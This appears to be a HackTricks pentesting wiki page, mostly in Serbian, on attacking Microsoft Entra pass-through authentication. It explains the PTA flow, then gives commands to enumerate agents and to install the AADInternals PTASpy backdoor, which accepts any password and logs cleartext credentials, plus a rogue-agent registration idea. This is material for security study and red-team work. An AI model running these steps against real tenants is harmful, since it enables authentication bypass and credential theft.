# Az - PTA - Pass-through Authentication

{{#include ../../../../banners/hacktricks-training.md}}

## Basic Information

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication omogućava vašim korisnicima da **prijave se na aplikacije koje se nalaze na lokaciji i u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Microsoft Entra ID, ova funkcija direktno validira lozinke korisnika protiv vašeg lokalnog Active Directory-a.

U PTA **identiteti** su **sinhronizovani** ali **lozinke nisu** kao u PHS.

Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši putem **autentifikacionog agenta** koji radi na **lokalnom serveru** (ne mora biti na lokalnom DC-u).

### Authentication flow

<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>

1. Da bi se **prijavio**, korisnik se preusmerava na **Azure AD**, gde šalje **korisničko ime** i **lozinku**
2. **Akreditivi** se **šifruju** i postavljaju u **red** u Azure AD
3. **Lokalni autentifikacioni agent** prikuplja **akreditive** iz reda i **dešifruje** ih. Ovaj agent se naziva **"Pass-through authentication agent"** ili **PTA agent.**
4. **Agent** **validira** akreditive protiv **lokalnog AD-a** i šalje **odgovor** **nazad** Azure AD-u koji, ako je odgovor pozitivan, **kompletira prijavu** korisnika.

> [!WARNING]
> Ako napadač **kompromituje** **PTA**, može **videti** sve **akreditive** iz reda (u **čistom tekstu**).\
> Takođe može **validirati bilo koje akreditive** prema AzureAD-u (sličan napad kao na Skeleton key).

### Enumeration

From Entra ID:
```bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Proverite da li agent radi na on-prem serveru:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting

Ako imate **admin** pristup **Azure AD Connect serveru** na kojem radi **PTA** **agent**, možete koristiti **AADInternals** modul da **ubacite backdoor** koji će **validirati SVE lozinke** unesene (tako da će sve lozinke biti važeće za autentifikaciju):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Ako **instalacija ne uspe**, to je verovatno zbog nedostatka [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).

Ova backdoor će:

- Kreirati skriveni folder `C:\PTASpy`
- Kopirati `PTASpy.dll` u `C:\PTASpy`
- Injektovati `PTASpy.dll` u proces `AzureADConnectAuthenticationAgentService`

> [!NOTE]
> Kada se AzureADConnectAuthenticationAgent servis ponovo pokrene, PTASpy se “uklanja” i mora se ponovo instalirati.

> [!CAUTION]
> Nakon dobijanja **GA privilegija** na oblaku, moguće je **registrovati novi PTA agent** i može se **ponoviti** **prethodni** koraci za **autentifikaciju koristeći bilo koju lozinku** i takođe, **dobiti lozinke u čistom tekstu.**

### Seamless SSO

Moguće je koristiti Seamless SSO sa PTA, koji je podložan drugim zloupotrebama. Proverite to u:

{{#ref}}
seamless-sso.md
{{#endref}}

## References

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)

{{#include ../../../../banners/hacktricks-training.md}}
